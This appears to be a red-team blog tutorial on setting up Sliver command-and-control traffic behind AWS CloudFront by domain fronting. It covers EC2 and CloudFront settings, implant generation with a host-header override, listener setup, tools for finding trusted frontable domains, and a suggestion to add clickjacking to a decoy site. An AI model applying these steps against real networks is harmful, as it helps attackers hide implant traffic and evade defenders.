
Domain Fronting with Sliver
In this post I'll be discussing domain fronting,a technique used by threat actors to obfuscate the intended destination of HTTP(S) traffic.
What's domain fronting?
Domain fronting is a technique used by threat actors to obfuscate the intended destination of HTTP(S) traffic. This can allow attackers to bypass security configurations by masking the destination with a domain that would be considered as "trusted". This essentially acts as a mask between the attacker's server and their implant.
How does it work?
To give a brief overview of what exactly is going on behind the scenes, essentially what is happening is the chosen provider (our domain we will be hiding behind), will forward the traffic to our server.
The traffic uses the DNS and SNI name from the service provider (we'll go with Google in this case).
When the traffic get's received by the edge server (ex: located at gmail.com), the packet is then forwarded to the Origin Server (ex: redteam.server.com) specified in the packet's "Host" header. Depending on the provider, the Origin Server will either directly forward the traffic to a specified domain or a proxy app to perform the final hop forwarding.
We've got this nice visual representation of this thanks to this great repo Red-Team-Infrastructure-Wiki:

The main considerations with this method is to have an established connection to the frontend domain and then using that to connect to our original domain. The main takeaway is that it is a single connection being made and is NOT being reset. For example, if our first connection goes to CloudFront, and AWS gives an unexpected code such as 403, this can reset the connection. Meaning that the second web request from our implant may establish a connection to our main domain's SNI which would just defeat the purpose of this setup. To mitigate this we have to connect to the specific URL being used for our fronting domain so the response will be 200 or 404 (not 403, 502 or anything else).
Setting up AWS
To begin we will need a cloud server, I'll be going with AWS in this case. We want to select EC2 from the list of services and launch an Ubuntu Server
For the instance type I'd recommend going with at least t2.medium
Under "Instance Details", select "default" for network, "No preference" for Subnet, and "Enable", for "Auto-Assign Public IP"
For Storage I'll do 20GiB, just make sure you have enough for all your tooling that you'll need.
Under tags you can set this to anything you want, I chose Team-server.
Now we'll be getting into the important configurations.
Under Security Group add an SSH rule for your public IP as the source.
Select "Add rule", then set the type to "HTTP" and enter "0.0.0.0/0" for source.
This will allow HTTP traffic from all sources to our server on port 80.
Now we do review & launch!
I'll assume you know how to access your cloud instance so I won't go into that.
Setting Up CloudFront CloudFront will be what allows us to utilize domain fronting on our service
First we'll select CloudFront from AWS services. From here we'll navigate to "create distribution, then under "Web", navigate to "Get started"
Under origin settings we can specify the domain we wish to use as our fronted domain.
Under settings we need to make sure the following options are set:
- Set origin domain as our fronted domain
- Protocol HTTP
- HTTP port 80
- HTTPS port 443
- TLSv1.2
Then under Behavior > we want to make sure we've set the following options:
- ViewerSet Viewer protocol policy to HTTP and HTTPS
- Set Allowed HTTP method to GET, HEAD, OPTIONS, PUT, POST, PATCH, DELETE
- Cache key and origin requests
- Set Headers to None
- Set Query strings to All
- Set Cookies to All
- Set Object caching to Use origin cache headers
- Set Response headers policy to SimpleCORS
Then we can hit Create distribution and we're done with CloudFront.
Configuring domain
I'll be assuming you've already purchased a domain, but if not you may use any registrar of choice. For this example, I'll be using Namecheap.
Now, what we need to do is set a new "A Record" for type and enter the name we want to use as the host. Then enter the EC2 public IP address from our AWS server as the value. This will point the subdomain towards our EC2 instance.
Testing CDN
Now to make sure our infrastructure is working as intended thus far, we're going to SSH into the server.
We can serve a quick file for testing using the following bash commands:
cd /tmp
echo "<html><p>hello world</p></html>" > hello
sudo python -m SimpleHTTPServer 80
Then we can run:
curl http://d0.awsstatic.com/hello> -header 'Host: <CloudFront domain name>'
where <CloudFront domain name>
is our domain name we chose.
If we see our message that we created in the /tmp directory then that means everything is working!
We are for the most part done with our cloud setup
Now to setup our team-server, for this I'll be using Sliver.
C2 Setup
Sliver make the process for setting up the server very straightforward.
You can use the one-liner:
curl https://sliver.sh/install | sudo bash
personally, I prefer to compile the latest version, We can do that with the following commands
git clone https://github.com/BishopFox/sliver.git
cd sliver
./go-assets.sh
make
then specify whichever target platform you need. These are the options
make macos
make macos-arm64
make linux
make windows
The C2 should now be setup and we can launch the team-server using ./sliver-server
Sliver can be used directly from the sliver-server binary if you're operating from the machine you're hosting the server on, but if you want to connect from a separate machine (which is what we'll be doing), we need to generate a configuration file to connect with.
Sliver can automatically generate this for us, we just need to give it a few commands.
From the server we'll use the new-operator command which requires us to specify a name and the public IP of the server which can be set using the "—name" & "—lhost" flags respectively.
They have an example on the sliver repo of how the output should look which I'll paste here
[server] sliver > new-operator -name moloch -lhost 1.2.3.4
[*] Generating new client certificate, please wait …
[*] Saved new client config to: /Users/moloch/Desktop/moloch_example.com.cfg
[server] sliver > multiplayer
[*] Multiplayer mode enabled!
The last step we need to do in on our sliver server is to run the "multiplayer" command. This will start an RPC listener which will allow operators to connect to our C2 server using the generated operator profile. You can find the profile root of the sliver project.
You would now give this profile to the operator who can connect using the sliver-client binary
On the machine we'll be connecting to our team-server from, we just need to run
./sliver-client import ./example_teamserver.com.cfg
In this case example_teamserver.com.cfg
is the name of the configuration profile we generated from the team-server.
We can now run ./sliver-client where we should be presented with a menu to select a profile from. The folks at BishopFox have another example how how the output should look which I'll also paste here
$ ./sliver-client import ./moloch_example.com.cfg
$ ./sliver-client
? Select a server: [Use arrows to move, type to filter]
> example.com
localhost
We should now be connected to the team-server!
Next, we can move into the process of setting up the listeners and generating implants.
Sliver makes the process of domain-fronting very easy by making use of the advanced c2 option parameters in the generate command. We'll be making use of the "host-header" parameter. You can read the documentation on the various configuration options for the generate command here: C2 Advanced Options · BishopFox/sliver Wiki (github.com). The command we'll run to generate our implant should look similar to the following:
generate beacon -http ourteamserver.com?host_header=$CloudFrontabledomain
What we're doing here is setting our team-server as the home domain, then the service provider (CloudFront) domain as the parameter for CloudFrontable domain
Now we just start the http listener using our main domain
http -d Domain using CloudFront
Now, when we execute our implant on the target it will connect back to the fronted domain who will then forward the traffic to us
Here's a a screencap of the traffic in Wireshark. As we can see, the Host: parameter is our fronted domain rather than our real domain.

Here's an example of the OTP auth from Sliver. Not only does this help us bypass restrictions, but you can probably get an idea of how hard this could be to distinguish from normal traffic.

On top of this sliver also provides the ability to spin up a fake web page to make it look even more legitimate. We could also get even more creative and add things like clickjacking to our website for any users who might try to access it
You can also make even more changes to the C2 traffic itself if you'd like by making modifications to the ~/.sliver/configs/http-c2.json
file.
Trusted domains I wont dive too far into details on how you would implement this as the process is relatively the same. I also won't be providing any specific domains for hopefully obvious reasons. What I will leave is a link to this GitHub repo created by rvrsh3ll. You can use this tool to find domains that are utilizing CloudFront. This will allow us to utilize these domains as "trusted destinations" for our c2 traffic.
To use the scripts we can run the following commands:
git clone https://github.com/rvrsh3ll/FindFrontableDomains
pip install -r requirements
./setup.sh
python FindFrontableDomains.py -domain example.com -threads 20
After finding a suitable domain using CloudFront, we can run the following command to test it:
curl http://$Domain using CloudFront/hello -header 'Host: $CloudFront-domain-name'
from which we should get the same output as when we originally tested our domain.